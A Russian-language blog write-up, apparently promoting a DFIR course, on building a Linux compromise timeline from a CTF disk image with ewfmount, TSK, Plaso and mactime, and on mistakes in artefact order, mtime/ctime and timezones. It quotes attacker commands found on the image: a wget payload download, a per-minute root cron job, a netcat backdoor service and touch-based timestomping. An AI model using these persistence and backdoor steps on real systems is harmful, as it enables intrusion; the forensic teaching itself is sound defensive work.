Перейти к содержимому

Как я поднял таймлайн компрометации на образе диска с CTF-задания DFIR и где ошибся с порядком артефактов

Как я поднял таймлайн компрометации на образе диска с CTF-задания DFIR и где ошибся с порядком артефактов
Время чтения: 14 мин.

На CTF-задании по DFIR (Digital Forensics and Incident Response — цифровая криминалистика и реагирование на инциденты) я собрал таймлайн из 47 000 событий за 20 минут — и первые три флага сдал неправильно. Plaso отработал штатно, mactime выдал аккуратный CSV. Проблема оказалась не в инструментах, а в порядке действий: я запустил сбор таймлайна до восстановления удалённых файлов, перепутал mtime с ctime и не проверил часовой пояс системы. Два ключевых события поменялись местами — вся хронология атаки рассыпалась.

Дальше — пошаговый разбор: как монтировать образ, собирать артефакты, строить таймлайн компрометации Linux и какие ошибки в порядке анализа артефактов стоят неправильных ответов. Если вы только начинаете разбираться в DFIR — тем лучше: я уже наступил на все грабли за вас.

Подготовка: верификация и монтирование образа диска

Прежде чем анализировать содержимое — убедитесь, что образ не повреждён при скачивании. Одна битая секция в E01 (Expert Witness Format — криминалистический формат с компрессией и встроенными хеш-суммами) может превратить валидный crontab в мусор.

Проверка целостности E01

Тут есть подвох. Если посчитать SHA1 от самого файла .E01 через sha1sum, получится хеш сжатых данных — он не совпадёт с эталонным. Нужна утилита, которая понимает формат EWF: она прочитает хеш из футера образа, распакует данные и пересчитает контрольную сумму. На практике — ewfverify из пакета ewf-tools (ставится через sudo apt install ewf-tools).

Команда ewfverify -d sha1 suspect.E01 верифицирует и MD5, и SHA1. Ожидаемый результат: строка ewfverify: SUCCESS. Если видите FAILURE — образ повреждён, работать с ним бессмысленно.

Монтирование образа и доступ к файловой системе

После верификации нужно смонтировать образ так, чтобы получить доступ к файловой системе, не изменив ни одного бита. Весь процесс — от E01 до конечной точки монтирования — три шага. Нужен Linux с установленными ewf-tools и sleuthkit (The Sleuth Kit — набор консольных утилит для анализа файловых систем).

# Шаг 1: монтируем E01 как "физическое устройство"
mkdir phy log
sudo ewfmount suspect.E01 ./phy
# Результат: в ./phy появляется файл ewf1 — raw-образ диска

# Шаг 2: смотрим таблицу разделов
sudo mmls ./phy/ewf1
# mmls покажет разделы: ищем самый большой Linux (0x83)
# Start-сектор (например, 2048) * 512 = byte offset

# Шаг 3: монтируем нужный раздел read-only
sudo mount -o ro,loop,offset=$((2048 * 512)) ./phy/ewf1 ./log

Флаг ro (read-only) — обязателен. Без него каждый ls обновит atime (время последнего доступа) файлов, и таймлайн компрометации поедет. Первое правило работы с образами: ничего не записывать.

mmls из The Sleuth Kit показывает разделы в секторах. Смещение в байтах — стартовый сектор умножить на размер сектора (обычно 512 байт). На CTF-задании, описанном в walkthrough dfir.science по Cyber5W CTF, стартовый сектор Linux-раздела был 1052672 — это 538 968 064 байт. У вас число будет другим — смотрите вывод mmls.

После монтирования cd ./log && ls должен показать стандартную структуру Linux: /etc, /var, /home, /root, /tmp. Видите — анализ дискового образа Linux можно начинать.

Первый проход по артефактам — и первая ошибка

Получив доступ к файловой системе, я допустил классическую ошибку: начал хвататься за всё подряд вместо того, чтобы выстроить порядок анализа артефактов Linux. Открыл bash_history, увидел подозрительные команды, побежал проверять cron — и через час понял, что собранные факты не складываются в хронологию.

Журнал аутентификации: auth.log

auth.log показывает, кто входил в систему, откуда и когда. Это скелет хронологии — без него невозможно определить момент первоначального доступа.

Файл лежит в /var/log/auth.log (Debian/Ubuntu) или /var/log/secure (CentOS/RHEL). Что искать: записи Accepted publickey и Accepted password от SSH, записи sudo с нестандартными пользователями, строки su с переключением на root.

На моём образе — серия из 47 неудачных попыток SSH-входа под пользователем admin за 3 минуты. Классический брутфорс. Затем — успешный вход с другого IP через 12 минут. Сам подбор пароля — техника Brute Force (T1110, тактика Credential Access по MITRE ATT&CK). ATT&CK — открытая база тактик и техник атак; T-коды идентифицируют конкретные приёмы злоумышленников. Запомните эту систему — она пригодится дальше для маппинга находок. Последующий успешный вход с подобранными учётными данными — уже другая техника: Valid Accounts (T1078, тактика Initial Access). Две разные техники в одной цепочке.

Команды, которые пригодятся: grep "Accepted" ./log/var/log/auth.log покажет успешные входы. Для IP-адресов с наибольшим числом неудачных попыток — grep "Failed password" ./log/var/log/auth.log | grep -oP '(?<=from )\d+\.\d+\.\d+\.\d+' | sort | uniq -c | sort -rn. Извлечение через regex надёжнее, чем awk по номеру поля: строки с invalid user сдвигают нумерацию.

bash_history: следы действий атакующего

История команд показывает, что атакующий делал после входа — загружал малварь, менял права, закреплялся.

На CTF-образе в /root/.bash_history нашлись строки wget http://<IP>/payload -O /tmp/.update, chmod +x /tmp/.update, crontab -e. Последовательность типичная: скачать → сделать исполняемым → добавить в планировщик.

Но тут начинается моя ошибка. Я принял время модификации .bash_history за время последней команды. Это неправильно. bash_history перезаписывается при выходе из сессии — mtime показывает момент выхода, а не момент ввода конкретной команды. Если атакующий выполнил unset HISTFILE или export HISTCONTROL=ignorespace, часть команд вообще не попадёт в историю. Так что bash_history — подсказка, а не доказательство.

Cron и systemd: следы закрепления

Для поиска следов компрометации стоит проверить все механизмы автозапуска. Закрепление через cron — техника Cron (T1053.003, тактики Persistence и Privilege Escalation). Атакующий создаёт задачу, которая перезапускает его код при каждой загрузке или по расписанию.

/etc/crontab на моём образе содержал запись * * * * * root /tmp/.update — запуск каждую минуту от root. Тот самый скачанный бинарник. В аналогичном разборе на Хабре (Linux Incident Response, часть 2) описан похожий кейс — @reboot плюс * * * * * для двойной гарантии: перезагрузка и ежеминутное повторение.

Кроме cron, стоит проверить systemctl list-units --type=service --state=running на подозрительные сервисы и find /home -name "*.desktop" на файлы автозапуска в desktop-окружении. На моём образе дополнительно обнаружился sysupdate.service с ExecStart=/usr/bin/nc -lp 4444 и Restart=always — бэкдор через netcat с автоматическим перезапуском. Наглый, но эффективный.

Построение таймлайна компрометации Linux через Plaso

Ручной анализ отдельных артефактов — auth.log, bash_history, cron — даёт фрагменты картины. Для CTF нужна единая хронология: что произошло первым, что следствие, а что отвлекающий манёвр. Plaso (log2timeline) автоматически извлекает временные метки из десятков источников и сводит их в один поток.

По данным Mandiant M-Trends 2025, медианное время нахождения злоумышленника в сети до обнаружения — 11 дней. За 11 дней атакующий успевает закрепиться, переместиться латерально и вытащить данные. Таймлайн показывает, что именно произошло за эти дни — или, в случае CTF, за несколько часов симулированной атаки.

log2timeline: автоматический сбор временных меток

Plaso ставится через pip install plaso или из пакетов дистрибутива (в SIFT Workstation и REMnux идёт предустановленным). Нужен Python 3.8+.

Первая команда — log2timeline.py — парсит весь смонтированный образ и складывает результаты в бинарный файл .plaso. Вторая — psort.py — фильтрует и экспортирует в читаемый CSV.

# Сбор всех временных меток с образа (может занять 15-40 минут)
log2timeline.py --storage-file timeline.plaso ./log

# Экспорт с фильтрацией по дате (подставьте свой диапазон)
psort.py -o l2tcsv -w timeline.csv timeline.plaso \
  "date > '2024-01-15 00:00:00' AND date < '2024-01-20 23:59:59'"

# CSV содержит колонки: date, time, timezone, MACB, source, sourcetype, type, short, desc
# MACB: M=modified, A=accessed, C=changed(metadata), B=born(created)

Результат: CSV на десятки тысяч строк. У меня вышло 47 312 записей. Открывать в Excel бессмысленно — нужен grep, awk или загрузка в Timesketch (веб-интерфейс для совместной работы с таймлайнами).

Колонка MACB — то место, где я допустил вторую ошибку. M (modified) и C (changed) — разные вещи, и путаница между ними ломает хронологию. Об этом ниже.

mactime из The Sleuth Kit: таймлайн файловой системы

log2timeline собирает метки из логов, конфигов, баз данных. Метаданные файловой системы он тоже парсит. Но для прицельного анализа файловых меток удобнее mactime — он работает с bodyfile-форматом, который генерирует fls из TSK.

fls -m "/" -r -o 2048 ./phy/ewf1 > bodyfile.txt — создаёт bodyfile (список всех файлов с метаданными). mactime -b bodyfile.txt -d > fs_timeline.csv — строит хронологический таймлайн. Ключ -d задаёт CSV-формат вместо текстового.

Как проверить: откройте CSV и найдите строки с /tmp/.update и /etc/crontab. Если mactime отработал правильно, оба файла будут видны с четырьмя метками — mtime, atime, ctime и crtime (время создания, если файловая система ext4).

Где я ошибся с порядком артефактов: три урока

Ошибка первая: Plaso до восстановления удалённых файлов

Атакующие удаляют следы — техника File Deletion (T1070.004, тактика Defense Evasion). На моём образе были удалены скрипт первоначальной загрузки /tmp/stage1.sh и лог-файл, который атакующий создал для отладки. Plaso парсит смонтированную файловую систему, но не видит удалённые файлы — их inode (структура, хранящая владельца, права и временные метки файла) уже не связаны с записями директории.

Что нужно было сделать сначала: запустить fls -rd (флаг -d — только удалённые, -r — рекурсивно) и восстановить удалённые файлы через icat (утилита TSK, извлекает содержимое по номеру inode). Только после этого — запускать log2timeline.

# Найти удалённые файлы (помечены * в выводе)
fls -rd -o 2048 ./phy/ewf1 | head -20
# Пример вывода: r/r * 45231: tmp/stage1.sh

# Посмотреть метаданные inode удалённого файла
istat -o 2048 ./phy/ewf1 45231
# Покажет: atime, mtime, ctime, crtime, размер, блоки

# Извлечь содержимое
icat -o 2048 ./phy/ewf1 45231 > recovered_stage1.sh

# Построить bodyfile ВКЛЮЧАЯ удалённые файлы
fls -m "/" -r -o 2048 ./phy/ewf1 > bodyfile_full.txt
mactime -b bodyfile_full.txt -d > fs_timeline_full.csv

У удалённого stage1.sh crtime оказался раньше, чем crtime основного пейлоада /tmp/.update. Это означало, что stage1.sh был дроппером (скрипт первой стадии, который скачивает основную нагрузку), а .update — второй стадией. Без этого артефакта я думал, что .update был единственным вредоносным файлом, и ответил неправильно на вопрос CTF «Какой файл был загружен первым?».

Урок простой: сначала восстанови удалённое, потом строй таймлайн.

Ошибка вторая: mtime вместо ctime и проблема Timestomp

На DFIR CTF разборе я выстраивал хронологию по mtime (время изменения содержимого файла). Логика казалась простой: файл создан → записан → mtime обновился. Но атакующие используют технику Timestomp (T1070.006, тактика Defense Evasion) — подмену временных меток через touch -t или специализированные инструменты. Команда touch -t 202301010000 /tmp/.update выставит mtime на 1 января 2023 года, и файл «спрячется» в середине хронологии среди легитимных системных файлов.

Почему ctime надёжнее: ctime обновляется при изменении метаданных — прав, владельца, количества жёстких ссылок. touch меняет mtime и atime, но автоматически обновляет ctime до текущего момента — потому что ctime нельзя установить напрямую через стандартные системные вызовы. Оговорка: продвинутые техники timestomping (через debugfs или прямую запись в inode) способны подделать и ctime. Абсолютной гарантии нет, но порог сложности значительно выше.

Если mtime файла — январь 2023, а ctime — январь 2024, значит метаданные менялись позже. Это повод подозревать timestomp.

На моём образе /tmp/.update имел mtime 15 января 2024 10:03 и ctime 15 января 2024 15:47. Я выстроил события по mtime и поставил создание пейлоада в 10:03 — до входа по SSH (который по auth.log случился в 15:32). Получалось, что файл появился раньше, чем атакующий вошёл. Меня это не смутило — решил, что файл был предзагружен другим способом. На деле mtime был подделан, реальное время создания — около 15:35 (через 3 минуты после SSH-входа), что подтверждалось ctime.

Правило: при расхождении mtime и ctime больше нескольких секунд всегда проверяйте crtime через istat. На ext4 crtime покажет момент появления файла (хотя и его можно подделать через debugfs).

Ошибка третья: часовой пояс и NTP-дрифт

Восстановление таймлайна атаки рушится, если не совпадают часовые пояса источников. Auth.log пишет метки в локальном времени системы. journalctl использует системную таймзону. А Plaso по умолчанию нормализует всё в UTC.

На моём образе система была настроена на UTC+3 (Москва), но я не проверил это до анализа. Plaso сконвертировал метки в UTC, а я сравнивал их с auth.log «как есть». Результат: SSH-вход по auth.log — 15:32, создание файла по Plaso-таймлайну — 12:35. Разница в 2 часа 57 минут — как раз UTC+3 минус поправка. Я потратил полчаса, пытаясь понять, как файл создался до входа, пока не догадался проверить /etc/timezone (содержал Europe/Moscow) и вывод timedatectl (NTP синхронизирован, дрифт отсутствовал).

Как избежать: перед запуском log2timeline проверьте часовой пояс командой cat ./log/etc/timezone и используйте флаг --timezone в Plaso. Для физических серверов дополнительно проверяйте /var/log/ntpd.log или journalctl -u systemd-timesyncd на предмет NTP-дрифта — смещения системных часов относительно эталонного времени.

Полчаса на загадку, которая решается одним cat. Обидно, но запоминается навсегда.

Правильный порядок анализа артефактов Linux при DFIR CTF разборе

После трёх ошибок я переработал свой чеклист. Каждый шаг зависит от предыдущего — пропуск любого аукнется позже.

Пошаговый чеклист для анализа образа диска

Шаг 1: верификация и монтирование. ewfverifyewfmountmmlsmount -o ro. Результат: доступ к файловой системе без изменения данных.

Шаг 2: фиксация часового пояса. cat /etc/timezone, ls -la /etc/localtime, проверка NTP-статуса. Записать таймзону и использовать во всех дальнейших инструментах.

Шаг 3: восстановление удалённых файлов. fls -rd + icat для каждого удалённого inode. Скопировать восстановленные файлы в отдельную директорию. Это нужно ДО шага 4 — иначе Plaso не увидит удалённые артефакты.

Шаг 4: bodyfile и mactime. fls -m "/" -r → bodyfile → mactime -b. Результат: CSV-таймлайн файловой системы со всеми метками MACB, включая удалённые файлы.

Шаг 5: полный таймлайн через Plaso. log2timeline.py с указанием --timezonepsort.py с фильтрацией по дате. Результат: объединённый таймлайн из логов, файловой системы и артефактов приложений.

Шаг 6: корреляция. Совместить auth.log (входы), bash_history (действия), cron/systemd (закрепление) и файловую хронологию. Проверить расхождения mtime/ctime — каждое расхождение больше минуты потенциально указывает на timestomp.

Шаг 7: маппинг на MITRE ATT&CK. Каждому артефакту присвоить T-код. Маппинг помогает проверить полноту: если нашли Persistence (T1053.003), но не нашли Initial Access — значит что-то пропущено.

Маппинг находок на MITRE ATT&CK

На моём CTF-образе итоговый маппинг выглядел так:

Находка Техника Тактика
Брутфорс SSH (47 попыток) Brute Force (T1110) Credential Access
Успешный SSH-вход с подобранными credentials Valid Accounts (T1078) Initial Access
Cron-запись * * * * * для /tmp/.update Cron (T1053.003) Persistence, Execution, Privilege Escalation
systemd-сервис sysupdate.service Systemd Service (T1543.002) Persistence, Privilege Escalation
Удалённый stage1.sh File Deletion (T1070.004) Defense Evasion
Поддельный mtime у /tmp/.update Timestomp (T1070.006) Defense Evasion
wget + chmod в bash_history Malicious File (T1204.002) Execution

Таблица не просто оформляет результат — она показывает пробелы. В моём случае отсутствовали Discovery-техники, а они точно были: атакующий наверняка запускал uname -a (System Information Discovery, T1082) и ls по директориям (File and Directory Discovery, T1083). Я перепроверил bash_history и нашёл эти команды между SSH-входом и загрузкой пейлоада — они просто потерялись в объёме. Маппинг подсказал, где искать.

Цифровая криминалистика — это методология, а не набор инструментов

Три ошибки на одном CTF-задании дали мне больше, чем десяток прочитанных гайдов. Plaso, mactime, fls — работают ровно так, как документировано. Проблема в голове аналитика: в каком порядке применять инструменты, какие метки достоверны, а какие подделаны, и как не тратить час на загадку, которая решается проверкой /etc/timezone.

Начинающие аналитики вкладывают 90% времени в изучение интерфейса Autopsy или синтаксиса Volatility — и 10% в методологию. На практике соотношение должно быть обратным. Инструменты взаимозаменяемы: mactime можно заменить на Plaso, Autopsy — на ручной TSK-анализ. А вот порядок «сначала восстановить удалённое, потом строить таймлайн» — универсален и от инструмента не зависит.

Ещё один неудобный факт: OWASP в разделе A09:2021 (Security Logging and Monitoring Failures) описывает аналогичную проблему для веб-приложений — недостаточное логирование. На уровне ОС более релевантен NIST SP 800-92 (Guide to Computer Security Log Management), но суть та же. На реальных инцидентах auth.log может оказаться ротированным, journalctl — очищенным, bash_history — обнулённым через HISTCONTROL=ignorespace. CTF даёт идеальные условия: все артефакты на месте, ничего не ротировано. В реальном IR так не бывает почти никогда — и именно поэтому методология порядка анализа важнее знания конкретных команд. Когда артефактов мало, каждый на вес золота, и ошибка в интерпретации одной временной метки уводит расследование в тупик.

Я видел, как аналитики с трёхлетним опытом путают ctime и mtime на ext4. Не потому что не знают определений — знают. А потому что в потоке 47 000 строк таймлайна рефлекторно сортируют по mtime и не проверяют расхождения. Попробуйте взять любой CTF-образ с CyberDefenders или DFIR.science, пройти по чеклисту из этой статьи и проверить — сколько расхождений mtime/ctime вы найдёте до того, как полезете в bash_history. На IB Basics эту логику — «сначала порядок, потом инструмент» — отрабатывают на первых же задачах, чтобы ошибки выбивались на уровне привычки, а не на третьем проваленном флаге.

Эту тему и смежные навыки разбирают на практике в курсе «Цифровая криминалистика и реагирование на инциденты (DFIR)» Codeby Academy.